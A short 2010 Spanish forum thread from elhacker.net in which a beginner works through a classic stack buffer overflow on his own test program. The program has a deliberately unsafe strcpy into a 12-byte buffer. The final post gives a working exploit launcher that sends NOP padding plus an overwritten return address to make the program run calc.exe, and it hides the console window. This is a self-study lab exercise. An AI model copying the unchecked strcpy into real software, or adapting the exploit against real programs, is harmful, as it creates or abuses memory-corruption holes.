Foro de elhacker.net

Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: Garfield07 en 29 Diciembre 2010, 19:51 pm



Título: Meter 3 donde van 4 : ¿ Y el resto ?
Publicado por: Garfield07 en 29 Diciembre 2010, 19:51 pm
Bueno, me he metido en este apasionante mundo, y me he puesto a probar algo...
Tengo este code:
Código
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <windows.h>
  4.  
  5. int fff ()
  6. {
  7. WinExec ("calc.exe", SW_MAX);
  8. }
  9.  
  10. int main(int argc, char **argv)
  11. {
  12. if (argc != 2) return 1;
  13. char buff[12];
  14. strcpy(buff,argv[1]);
  15. printf("\nHas escrito:   %s\n",buff);
  16.  
  17. return 0;
  18. }
  19.  
Es simple. Meto 24 nops y 4 numeros con la direccion de fff. A mi me da 0x4013c0. Como ven es una direccion de 3 "digitos".
Bueno ¿ Qué hago con el cuarto ?
Código
  1. #include <windows.h>
  2. #include <strcpy.h>
  3.  
  4. int main ()
  5. {
  6. char buff [28];
  7. int i;
  8. for (i = 0; i <= 23; i++)
  9. buff [i] = '\90'
  10.  
  11. /*
  12. Aqui van las declaraciones de buff [24 / 27] (menos 1 por el 0).
  13. La cosa es que tengo tres numeros donde van cuatro.
  14. */
  15.  
  16. char command [33];
  17. strcpy (command, "code ");
  18. strcat (command, buff);
  19. WinExec (command);
  20. }
  21.  

El exploit es sencillo, pero no se que hacer. Pido perdais 5 segundos de vuestro tiempo contestandome xD!!!
Que hago? Como seria el exploit?

Espero sus prontas respuestas.
Y sí, he mirado en google y en el foro...

Aparte, uso Windows Vista 64 bits...


Título: Re: Meter 3 donde van 4 : ¿ Y el resto ?
Publicado por: APOKLIPTICO en 29 Diciembre 2010, 20:11 pm
Es simple, si te sobran bytes en la dirección, lo llenas con ceros al principio, osea, es como decir: es lo mismo decir "100" que decir "0000100".


Título: Re: Meter 3 donde van 4 : ¿ Y el resto ?
Publicado por: Garfield07 en 29 Diciembre 2010, 21:39 pm
Bueno, gracias por tu pronta respuesta...
Eso pense al principio, pero lo descarte porque... y por que el GDB me pone eso sin ceros?

Code final:
Código
  1. #include <windows.h>
  2. #include <string.h>
  3.  
  4. int main ()
  5. {
  6. ShowWindow (GetForegroundWindow (), SW_HIDE);
  7. char nop [24];
  8. memset (nop, '\x90', 24);
  9. char ret [4] = "\xc0\x13\x40\x00";
  10.  
  11. char command [33];
  12. strcpy (command, "code ");
  13. strcat (command, nop);
  14. strcat (command, ret);
  15. system (command);
  16.  
  17. return 0;
  18. }
  19.  
  20.  

Muchas gracias por todo